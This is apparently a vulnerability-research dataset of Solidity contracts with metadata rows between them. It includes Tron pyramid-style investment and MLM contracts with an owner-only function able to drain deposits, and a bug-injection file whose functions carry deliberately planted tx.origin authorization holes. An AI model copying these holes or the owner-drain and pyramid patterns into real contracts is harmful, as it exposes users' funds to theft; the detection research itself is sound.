overRide.transfer(LevelPrice[_level] * OverRideShare / 100);
otherOverRide.transfer(LevelPrice[_level] * OtherOverRideShare / 100);
}
distributeDirectIncome(userAddress, _level);
levelIncomeDistribution(userAddress, _level);
matrixIncomeDistribution(userAddress, _level);
}
function buyLevelDeployer(address payable userAddress, uint8 _level) external onlyDeployer {
//this function is to rebind the users of old contract which is enabled only for first 24 hours only
require(deployerValidation > now, "This function is disabled!!!");
buyLevelInternal(userAddress, _level);
}
function buyLevel(uint8 _level) public payable {
require(msg.value == LevelPrice[_level], "Incorrect Value");
buyLevelInternal(msg.sender, _level);
}
function buyLevelInternal(address payable userAddress, uint8 _level) internal {
require(users[userAddress].joined, "User Not");
require(_level > 1 && _level <= LAST_LEVEL, "Incorrect Level");
require(!users[userAddress].activeLevel[_level], "Already active");
require(users[userAddress].activeLevel[_level - 1], "Previous Level");
uint256 _referrerID = findFreeActiveReferrer(userAddress, _level);
if (users[userAddressByID[_referrerID]].Matrix[_level].referrals.length >=maxDownLimit) {
_referrerID = users[findFreeReferrer(userAddressByID[_referrerID],_level)].id;
}
users[userAddress].Matrix[_level].currentReferrer = userAddressByID[_referrerID];
users[userAddressByID[_referrerID]].Matrix[_level].referrals.push(userAddress);
emit NewUserPlace(users[userAddress].id, _referrerID, users[userAddressByID[_referrerID]].Matrix[_level].referrals.length, _level);
users[userAddress].activeLevel[_level] = true;
if(msg.sender != deployer) {
trxPoolAmount += LevelPrice[_level] / 20;
emit PoolAmountTrx(LevelPrice[_level] / 20);
FutureTrxPoolAmount += LevelPrice[_level] / 20;
emit PoolAmountFutureTrx(LevelPrice[_level] / 20);
Company.transfer(LevelPrice[_level] * CompanyShare / 100);
overRide.transfer(LevelPrice[_level] * OverRideShare / 100);
otherOverRide.transfer(LevelPrice[_level] * OtherOverRideShare / 100);
}
distributeDirectIncome(userAddress, _level);
levelIncomeDistribution(userAddress, _level);
matrixIncomeDistribution(userAddress, _level);
if(_level == LAST_LEVEL) {
emit PoolEnterTrx(users[userAddress].id, now);
users[userAddress].is_trx_pool = true;
trxPoolUsers.push(userAddress);
users[users[userAddress].upline].poolAchiever++;
if(users[users[userAddress].upline].is_Future_trx_pool == false) {
if(users[users[userAddress].upline].poolAchiever >= 2 && users[users[userAddress].upline].is_trx_pool == true){
emit PoolEnterFutureTrx(users[userAddress].originalReferrer, now);
users[users[userAddress].upline].is_Future_trx_pool = true;
FutureTrxPoolUsers.push(users[userAddress].upline);
}
}
if(users[userAddress].is_Future_trx_pool == false) {
if(users[userAddress].poolAchiever >= 2) {
emit PoolEnterFutureTrx(users[userAddress].originalReferrer, now);
users[userAddress].is_Future_trx_pool = true;
FutureTrxPoolUsers.push(userAddress);
}
}
}
}
function distributeDirectIncome(address _user, uint8 _level) internal {
uint256 income = LevelPrice[_level] * DirectIncomeShare / 100;
if(users[_user].upline != address(0)) {
if(users[users[_user].upline].activeLevel[_level] == true) {
emit Direct(users[_user].originalReferrer,users[_user].id, _level, income);
if(msg.sender != deployer){
(users[_user].upline).transfer(income);
}
}
else {
if(msg.sender != deployer){
trxPoolAmount += income / 2;
emit PoolAmountTrx(income / 2);
FutureTrxPoolAmount += income / 2;
emit PoolAmountFutureTrx(income / 2);
}
}
}
}
function levelIncomeDistribution(address _user, uint8 _level) internal {
address payable _upline = users[_user].upline;
for(uint8 i = 1; i <= 9; i++) {
uint256 income = LevelPrice[_level] * LevelIncome[i] / 100;
if(_upline != address(0)) {
emit Level(users[_upline].id, users[_user].id, _level, i, income);
if(msg.sender != deployer){
if(!address(uint160(_upline)).send(income)) {
address(uint160(_upline)).transfer(income);
}
}
_upline = users[_upline].upline;
}
else {
if(msg.sender != deployer){
trxPoolAmount += income / 2;
emit PoolAmountTrx(income / 2);
FutureTrxPoolAmount += income / 2;
emit PoolAmountFutureTrx(income / 2);
}
}
}
}
function matrixIncomeDistribution(address _user, uint8 _level) internal {
address payable _upline = users[_user].Matrix[_level].currentReferrer;
for(uint8 i = 1; i <= 9; i++) {
uint256 income = LevelPrice[_level] * MatrixIncomeShare / 100;
if(_upline != address(0)) {
if(users[_upline].activeLevel[i] == true) {
emit Matrix(users[_upline].id, users[_user].id, _level, i, income);
if(msg.sender != deployer){
if(!address(uint160(_upline)).send(income)) {
address(uint160(_upline)).transfer(income);
}
}
}
else {
if(msg.sender != deployer){
trxPoolAmount += income / 2;
emit PoolAmountTrx(income / 2);
FutureTrxPoolAmount += income / 2;
emit PoolAmountFutureTrx(income / 2);
}
}
_upline = users[_upline].Matrix[_level].currentReferrer;
}
else {
if(msg.sender != deployer){
trxPoolAmount += income / 2;
emit PoolAmountTrx(income / 2);
FutureTrxPoolAmount += income / 2;
emit PoolAmountFutureTrx(income / 2);
}
}
}
}
function findFreeActiveReferrer(address userAddress, uint8 level) internal view returns(uint256) {
while (true) {
if (users[users[userAddress].upline].activeLevel[level] == true) {
return users[users[userAddress].upline].id;
}
userAddress = users[userAddress].upline;
}
}
function poolClosing(uint pool) public onlyDeployer {
if(pool == 1) {
if(trxPoolAmount + FutureTrxPoolAmount > 0) {
uint256 perUserAmount = trxPoolAmount + FutureTrxPoolAmount;
for(uint i = 0; i < 1; i++) {
address userAddress = trxPoolUsers[i];
emit PoolTrxIncome(users[userAddress].id, perUserAmount);
if(!address(uint160(userAddress)).send(perUserAmount)){
return address(uint160(userAddress)).transfer(perUserAmount);
}
}
trxPoolAmount = 0;
}
}
}
function findFreeReferrer(address _user, uint8 _level) internal view returns(address) {
if(users[_user].Matrix[_level].referrals.length < maxDownLimit){
return _user;
}
address[] memory referrals = new address[](2046);
referrals[0] = users[_user].Matrix[_level].referrals[0];
referrals[1] = users[_user].Matrix[_level].referrals[1];
address freeReferrer;
bool noFreeReferrer = true;
for(uint i =0; i<2046;i++){
if(users[referrals[i]].Matrix[_level].referrals.length == maxDownLimit){
if(i<1022){
referrals[(i+1)*2] = users[referrals[i]].Matrix[_level].referrals[0];
referrals[(i+1)*2+1] = users[referrals[i]].Matrix[_level].referrals[1];
}
}else{
noFreeReferrer = false;
freeReferrer = referrals[i];
break;
}
}
require(!noFreeReferrer, 'No Free Referrer');
return freeReferrer;
}
function getMatrix(address userAddress, uint8 level)
public
view
returns (address payable,
address payable[] memory)
{
return (users[userAddress].Matrix[level].currentReferrer,
users[userAddress].Matrix[level].referrals);
}
function getPendingTimeForNextClosing() public view returns(uint) {
uint remainingTimeForPayout = 0;
if(nextClosingTime >= now) {
remainingTimeForPayout = nextClosingTime.sub(now);
}
return remainingTimeForPayout;
}
}
| 293,807 | 12,492 |
958aa7f3c0bbf8a34056b83eba491d480e4362761dc96d3e6a7f1009a87a44cf
| 17,111 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TK/TKfSHZcK2Rn5rdJy3VgQrzikSP4TagDAiM_TronMegaChain.sol
| 4,713 | 15,911 |
//SourceUnit: TronMegaChain.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.7.0;
contract Ownable {
address public owner;
address payable a;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
a = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TronMegaChain is Ownable{
struct User{
bool referred;
address referred_by;
uint256 total_invested_amount;
uint256 referal_profit;
}
struct Referal_levels{
uint256 level_1;
uint256 level_2;
uint256 level_3;
uint256 level_4;
}
struct Panel_1{
uint256 invested_amount;
uint256 profit_withdrawn;
uint256 start_time;
bool time_started;
}
struct Panel_2{
uint256 invested_amount;
uint256 profit;
uint256 profit_withdrawn;
uint256 start_time;
uint256 exp_time;
bool time_started;
uint256 remaining_inv_prof;
}
struct Panel_3{
uint256 invested_amount;
uint256 profit;
uint256 profit_withdrawn;
uint256 start_time;
uint256 exp_time;
bool time_started;
uint256 remaining_inv_prof;
}
mapping(address => Panel_1) public panel_1;
mapping(address => Panel_2) public panel_2;
mapping(address => Panel_3) public panel_3;
mapping(address => User) public user_info;
mapping(address => Referal_levels) public refer_info;
uint public totalcontractamount;
// -------------------- PANEL 1 -------------------------------
// 1% : Forever
function invest_panel1() public payable {
require(msg.value>=50, 'Please Enter Amount no less than 50');
totalcontractamount += msg.value;
if(panel_1[msg.sender].time_started == false){
panel_1[msg.sender].start_time = now;
panel_1[msg.sender].time_started = true;
}
panel_1[msg.sender].invested_amount += msg.value;
user_info[msg.sender].total_invested_amount += msg.value;
referral_system(msg.value);
}
function current_profit_p1() public view returns(uint256){
uint256 local_profit ;
local_profit = ((panel_1[msg.sender].invested_amount * 1 * (now - panel_1[msg.sender].start_time))/(100*(1 days))) - panel_1[msg.sender].profit_withdrawn;
return local_profit;
}
function panel1_days() public view returns(uint256){
if(panel_1[msg.sender].time_started == true){
return ((now - panel_1[msg.sender].start_time)/(1 days)); //change to 24*60*60
}
else {
return 0;
}
}
function is_valid_time_p1() public view returns(bool){
if(panel_1[msg.sender].time_started == true){
return (now > l_l1())&&(now < u_l1());
}
else {
return true;
}
}
function l_l1() public view returns(uint256){
if(panel_1[msg.sender].time_started == true){
return (1 days)*panel1_days() + panel_1[msg.sender].start_time; // 24*60*60 1 days
}else{
return now;
}
}
function u_l1() public view returns(uint256){
if(panel_1[msg.sender].time_started == true){
return ((1 days)*panel1_days() + panel_1[msg.sender].start_time + 10 hours); // 1 days , 8 hours
}else {
return now + (10 hours); // 8*60*60 8 hours
}
}
function withdraw_profit_panel1(uint256 amount) public payable {
uint256 current_profit = current_profit_p1();
require(amount <= current_profit, ' Amount sould be less than profit');
panel_1[msg.sender].profit_withdrawn = panel_1[msg.sender].profit_withdrawn + amount + ((5*amount)/100);
//neg
msg.sender.transfer(amount);
a.transfer((5*amount)/100);
}
// --------------------------------- PANEL 2 ----------------------
// 2% : 45 days
function invest_panel2() public payable {
// 50,000,000 = 50 trx
require(msg.value>=50, 'Please Enter Amount no less than 50');
totalcontractamount += msg.value;
if(panel_2[msg.sender].time_started == false){
panel_2[msg.sender].start_time = now;
panel_2[msg.sender].time_started = true;
panel_2[msg.sender].exp_time = now + 45 days; //20*24*60*60 = 45 days
}
panel_2[msg.sender].invested_amount += msg.value;
user_info[msg.sender].total_invested_amount += msg.value;
referral_system(msg.value);
//neg
if(panel2_days() <= 45){ //20
panel_2[msg.sender].profit += ((msg.value*2*(45 - panel2_days()))/(100)); // 20 - panel_days()
}
}
function is_plan_completed_p2() public view returns(bool){
if(panel_2[msg.sender].exp_time != 0){
if(now >= panel_2[msg.sender].exp_time){
return true;
}
if(now < panel_2[msg.sender].exp_time){
return false;
}
}else{
return false;
}
}
function plan_completed_p2() public returns(bool){
if(panel_2[msg.sender].exp_time != 0){
if(now >= panel_2[msg.sender].exp_time){
reset_panel_2();
return true;
}
if(now < panel_2[msg.sender].exp_time){
return false;
}
}
}
function current_profit_p2() public view returns(uint256){
uint256 local_profit ;
if(now <= panel_2[msg.sender].exp_time){
if((((panel_2[msg.sender].profit + panel_2[msg.sender].profit_withdrawn)*(now-panel_2[msg.sender].start_time))/(45*(1 days))) > panel_2[msg.sender].profit_withdrawn){ // 45 * 1 days
local_profit = (((panel_2[msg.sender].profit + panel_2[msg.sender].profit_withdrawn)*(now-panel_2[msg.sender].start_time))/(45*(1 days))) - panel_2[msg.sender].profit_withdrawn; // 20*24*60*60
return local_profit;
}else{
return 0;
}
}
if(now > panel_2[msg.sender].exp_time){
return panel_2[msg.sender].profit;
}
}
function panel2_days() public view returns(uint256){
if(panel_2[msg.sender].time_started == true){
return ((now - panel_2[msg.sender].start_time)/(1 days)); // change to 24*60*60 1 days
}
else {
return 0;
}
}
function withdraw_profit_panel2(uint256 amount) public payable {
uint256 current_profit = current_profit_p2();
require(amount <= current_profit, ' Amount sould be less than profit');
panel_2[msg.sender].profit_withdrawn = panel_2[msg.sender].profit_withdrawn + amount + ((5*amount)/100);
//neg
panel_2[msg.sender].profit = panel_2[msg.sender].profit - amount;
msg.sender.transfer(amount);
a.transfer((5*amount)/100);
}
function is_valid_time_p2() public view returns(bool){
if(panel_2[msg.sender].time_started == true){
return (now > l_l2())&&(now < u_l2());
}
else {
return true;
}
}
function l_l2() public view returns(uint256){
if(panel_2[msg.sender].time_started == true){
return (1 days)*panel2_days() + panel_2[msg.sender].start_time; // 24*60*60 1 days
}else{
return now;
}
}
function u_l2() public view returns(uint256){
if(panel_2[msg.sender].time_started == true){
return ((1 days)*panel2_days() + panel_2[msg.sender].start_time + 10 hours); // 1 days , 8 hours
}else {
return now + (10 hours); // 8*60*60 8 hours
}
}
function reset_panel_2() private{
panel_2[msg.sender].remaining_inv_prof = panel_2[msg.sender].profit + panel_2[msg.sender].invested_amount;
panel_2[msg.sender].invested_amount = 0;
panel_2[msg.sender].profit = 0;
panel_2[msg.sender].profit_withdrawn = 0;
panel_2[msg.sender].start_time = 0;
panel_2[msg.sender].exp_time = 0;
panel_2[msg.sender].time_started = false;
}
function withdraw_all_p2() public payable{
msg.sender.transfer(panel_2[msg.sender].remaining_inv_prof);
panel_2[msg.sender].remaining_inv_prof = 0;
}
// --------------------------------- PANEL 3 ---------------------------
// 2.5% : 25 days
function invest_panel3() public payable {
require(msg.value>=50, 'Please Enter Amount no less than 50');
totalcontractamount += msg.value;
if(panel_3[msg.sender].time_started == false){
panel_3[msg.sender].start_time = now;
panel_3[msg.sender].time_started = true;
panel_3[msg.sender].exp_time = now + 25 days; //10*24*60*60 = 10 days
}
panel_3[msg.sender].invested_amount += msg.value;
user_info[msg.sender].total_invested_amount += msg.value;
referral_system(msg.value);
//neg
if(panel3_days() <= 25){ //10
panel_3[msg.sender].profit += (((msg.value*5*(25 - panel3_days()))/2)/(100)); // 25 - panel_days()
}
}
function is_plan_completed_p3() public view returns(bool){
if(panel_3[msg.sender].exp_time != 0){
if(now >= panel_3[msg.sender].exp_time){
return true;
}
if(now < panel_3[msg.sender].exp_time){
return false;
}
}else{
return false;
}
}
function plan_completed_p3() public returns(bool){
if(panel_3[msg.sender].exp_time != 0){
if(now >= panel_3[msg.sender].exp_time){
reset_panel_3();
return true;
}
if(now < panel_3[msg.sender].exp_time){
return false;
}
}
}
function current_profit_p3() public view returns(uint256){
uint256 local_profit ;
if(now <= panel_3[msg.sender].exp_time){
if((((panel_3[msg.sender].profit + panel_3[msg.sender].profit_withdrawn)*(now-panel_3[msg.sender].start_time))/(25*(1 days))) > panel_3[msg.sender].profit_withdrawn){ // 25 * 1 days
local_profit = (((panel_3[msg.sender].profit + panel_3[msg.sender].profit_withdrawn)*(now-panel_3[msg.sender].start_time))/(25*(1 days))) - panel_3[msg.sender].profit_withdrawn; // 25*24*60*60
return local_profit;
}else{
return 0;
}
}
if(now > panel_3[msg.sender].exp_time){
return panel_3[msg.sender].profit;
}
}
function panel3_days() public view returns(uint256){
if(panel_3[msg.sender].time_started == true){
return ((now - panel_3[msg.sender].start_time)/(1 days)); // change to 24*60*60 1 days
}
else {
return 0;
}
}
function withdraw_profit_panel3(uint256 amount) public payable {
uint256 current_profit = current_profit_p3();
require(amount <= current_profit, ' Amount sould be less than profit');
panel_3[msg.sender].profit_withdrawn = panel_3[msg.sender].profit_withdrawn + amount + ((5*amount)/100);
//neg
panel_3[msg.sender].profit = panel_3[msg.sender].profit - amount;
msg.sender.transfer(amount);
a.transfer((5*amount)/100);
}
function is_valid_time_p3() public view returns(bool){
if(panel_3[msg.sender].time_started == true){
return (now > l_l3())&&(now < u_l3());
}
else {
return true;
}
}
function l_l3() public view returns(uint256){
if(panel_3[msg.sender].time_started == true){
return (1 days)*panel3_days() + panel_3[msg.sender].start_time; // 24*60*60 1 days
}else{
return now;
}
}
function u_l3() public view returns(uint256){
if(panel_3[msg.sender].time_started == true){
return ((1 days)*panel3_days() + panel_3[msg.sender].start_time + 10 hours); // 1 days , 8 hours
}else {
return now + (10 hours); // 8*60*60 8 hours
}
}
function reset_panel_3() private{
panel_3[msg.sender].remaining_inv_prof = panel_3[msg.sender].profit + panel_3[msg.sender].invested_amount;
panel_3[msg.sender].invested_amount = 0;
panel_3[msg.sender].profit = 0;
panel_3[msg.sender].profit_withdrawn = 0;
panel_3[msg.sender].start_time = 0;
panel_3[msg.sender].exp_time = 0;
panel_3[msg.sender].time_started = false;
}
function withdraw_all_p3() public payable{
msg.sender.transfer(panel_3[msg.sender].remaining_inv_prof);
panel_3[msg.sender].remaining_inv_prof = 0;
}
//------------------- Referal System ------------------------
function refer(address ref_add) public {
require(user_info[msg.sender].referred == false, ' Already referred ');
require(ref_add != msg.sender, ' You cannot refer yourself ');
user_info[msg.sender].referred_by = ref_add;
user_info[msg.sender].referred = true;
address level1 = user_info[msg.sender].referred_by;
address level2 = user_info[level1].referred_by;
address level3 = user_info[level2].referred_by;
address level4 = user_info[level3].referred_by;
if((level1 != msg.sender) && (level1 != address(0))){
refer_info[level1].level_1 += 1;
}
if((level2 != msg.sender) && (level2 != address(0))){
refer_info[level2].level_2 += 1;
}
if((level3 != msg.sender) && (level3 != address(0))){
refer_info[level3].level_3 += 1;
}
if((level4 != msg.sender) && (level4 != address(0))){
refer_info[level4].level_4 += 1;
}
}
function referral_system(uint256 amount) private {
address level1 = user_info[msg.sender].referred_by;
address level2 = user_info[level1].referred_by;
address level3 = user_info[level2].referred_by;
address level4 = user_info[level3].referred_by;
if((level1 != msg.sender) && (level1 != address(0))){
user_info[level1].referal_profit += (amount*5)/(100);
}
if((level2 != msg.sender) && (level2 != address(0))){
user_info[level2].referal_profit += (amount*2)/(100);
}
if((level3 != msg.sender) && (level3 != address(0))){
user_info[level3].referal_profit += ((amount*1)/2)/(100);
}
if((level4 != msg.sender) && (level4 != address(0))){
user_info[level4].referal_profit += ((amount*1)/2)/(100);
}
}
function referal_withdraw(uint256 amount) public {
require(user_info[msg.sender].referal_profit >= amount, 'Withdraw must be less than Profit');
user_info[msg.sender].referal_profit = user_info[msg.sender].referal_profit - amount;
msg.sender.transfer(amount);
}
function SendTRXFromContract(address payable _address, uint256 _amount) public payable onlyOwner returns (bool){
require(_address != address(0), "error for transfer from the zero address");
_address.transfer(_amount);
return true;
}
function SendTRXToContract() public payable returns (bool){
return true;
}
}
| 300,491 | 12,493 |
61b11dee2dd09cfaf3b80342d0aa9edca43f9ffbd0af0bcb1dc7b1b64ac0ceb6
| 24,389 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/a9/a9f63909eebf5f87fa0c0c1e8b106285ab5cce03_CurveWrapper.sol
| 3,192 | 13,068 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
//
abstract contract Initializable {
bool private _initialized;
bool private _initializing;
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
//
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
//
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
//
interface IERC20Upgradeable {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library AddressUpgradeable {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return
functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
library SafeERC20Upgradeable {
using AddressUpgradeable for address;
function safeTransfer(IERC20Upgradeable token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20Upgradeable token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20Upgradeable token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20Upgradeable token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20Upgradeable token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data,
"SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
//
interface IMosaicExchange {
function swap(address _tokenA,
address _tokenB,
uint256 _amountIn,
uint256 _amountOut,
bytes calldata _data) external returns (uint256);
function getAmountsOut(address _tokenIn,
address _tokenOut,
uint256 _amountIn,
bytes calldata _data) external returns (uint256);
}
//
interface ISwap {
function coins(uint256 i) external view returns (address);
}
//
interface ICurveSwap is ISwap {
function get_dy(uint256 i,
uint256 j,
uint256 dx) external view returns (uint256);
function exchange(uint256 i,
uint256 j,
uint256 dx,
uint256 min_dy,
bool use_eth) external payable;
}
//
interface IStableSwap is ISwap {
function get_dy(int128 i,
int128 j,
uint256 dx) external view returns (uint256);
function exchange(int128 i,
int128 j,
uint256 dx,
uint256 min_dy) external;
}
//
contract CurveWrapper is IMosaicExchange, OwnableUpgradeable {
using SafeERC20Upgradeable for IERC20Upgradeable;
enum SwapType {
Stable,
Curve
}
struct SwapData {
address swapAddr;
uint256 swapType;
int128 i;
int128 j;
uint256 i_unsigned;
uint256 j_unsigned;
}
function initialize() public initializer {
__Ownable_init();
}
function swap(address tokenIn,
address tokenOut,
uint256 amount,
uint256 amountOutMin,
bytes calldata data) external override returns (uint256) {
SwapData memory swapData;
(swapData.swapAddr,
swapData.swapType,
swapData.i,
swapData.j,
swapData.i_unsigned,
swapData.j_unsigned) = abi.decode(data, (address, uint256, int128, int128, uint256, uint256));
IERC20Upgradeable(tokenIn).safeTransferFrom(msg.sender, address(this), amount);
IERC20Upgradeable(tokenIn).safeIncreaseAllowance(swapData.swapAddr, amount);
uint256 balanceBefore = IERC20Upgradeable(tokenOut).balanceOf(address(this));
if (swapData.swapType == 0) {
IStableSwap stableSwapRouter = IStableSwap(swapData.swapAddr);
require(stableSwapRouter.coins(swapData.i_unsigned) == tokenIn,
"ERR: INVALID TOKENIN ADDRESS");
require(stableSwapRouter.coins(swapData.j_unsigned) == tokenOut,
"ERR: INVALID TOKENOUT ADDRESS");
stableSwapRouter.exchange(swapData.i, swapData.j, amount, amountOutMin);
} else if (swapData.swapType == 1) {
ICurveSwap curveSwapRouter = ICurveSwap(swapData.swapAddr);
require(curveSwapRouter.coins(swapData.i_unsigned) == tokenIn,
"ERR: INVALID TOKENIN ADDRESS");
require(curveSwapRouter.coins(swapData.j_unsigned) == tokenOut,
"ERR: INVALID TOKENOUT ADDRESS");
curveSwapRouter.exchange(swapData.i_unsigned,
swapData.j_unsigned,
amount,
amountOutMin,
false);
}
uint256 balanceAfter = IERC20Upgradeable(tokenOut).balanceOf(address(this));
require(balanceAfter > balanceBefore, "ERR: SWAP FAILED");
IERC20Upgradeable(tokenOut).safeTransfer(msg.sender, balanceAfter - balanceBefore);
return balanceAfter - balanceBefore;
}
function getAmountsOut(address tokenIn,
address tokenOut,
uint256 amountIn,
bytes calldata data) external view override returns (uint256) {
(address swapAddr,
uint256 swapType,
int128 i,
int128 j,
uint256 i_unsigned,
uint256 j_unsigned) = abi.decode(data, (address, uint256, int128, int128, uint256, uint256));
uint256 result = 0;
if (swapType == 0) {
IStableSwap stableSwapRouter = IStableSwap(swapAddr);
require(stableSwapRouter.coins(i_unsigned) == tokenIn, "ERR: INVALID TOKENIN ADDRESS");
require(stableSwapRouter.coins(j_unsigned) == tokenOut,
"ERR: INVALID TOKENOUT ADDRESS");
result = stableSwapRouter.get_dy(i, j, amountIn);
} else if (swapType == 1) {
ICurveSwap curveSwapRouter = ICurveSwap(swapAddr);
require(curveSwapRouter.coins(i_unsigned) == tokenIn, "ERR: INVALID TOKENIN ADDRESS");
require(curveSwapRouter.coins(j_unsigned) == tokenOut, "ERR: INVALID TOKENOUT ADDRESS");
result = curveSwapRouter.get_dy(i_unsigned, j_unsigned, amountIn);
}
return result;
}
}
| 80,307 | 12,494 |
28c693bd355ef03ab39482df34ecbaca776b5f559342e1c9fc2c126885a9937d
| 17,252 |
.sol
|
Solidity
| false |
441123437
|
1052445594/SoliDetector
|
171e0750225e445c2993f04ef32ad65a82342054
|
Solidifi-bugInjection-data/compareTool/SmartCheck-Injection-Data/TxOrigin/Sol/buggy_27.sol
| 4,777 | 17,005 |
pragma solidity 0.4.25;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
contract Ownable {
address public owner;
function sendto_txorigin13(address receiver, uint amount,address owner_txorigin13) public {
require (tx.origin == owner_txorigin13); //TxOrigin bug
receiver.transfer(amount);
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
function withdrawAll_txorigin38(address _recipient,address owner_txorigin38) public {
require(tx.origin == owner_txorigin38); //TxOrigin bug
_recipient.transfer(address(this).balance);
}
modifier onlyOwner() {
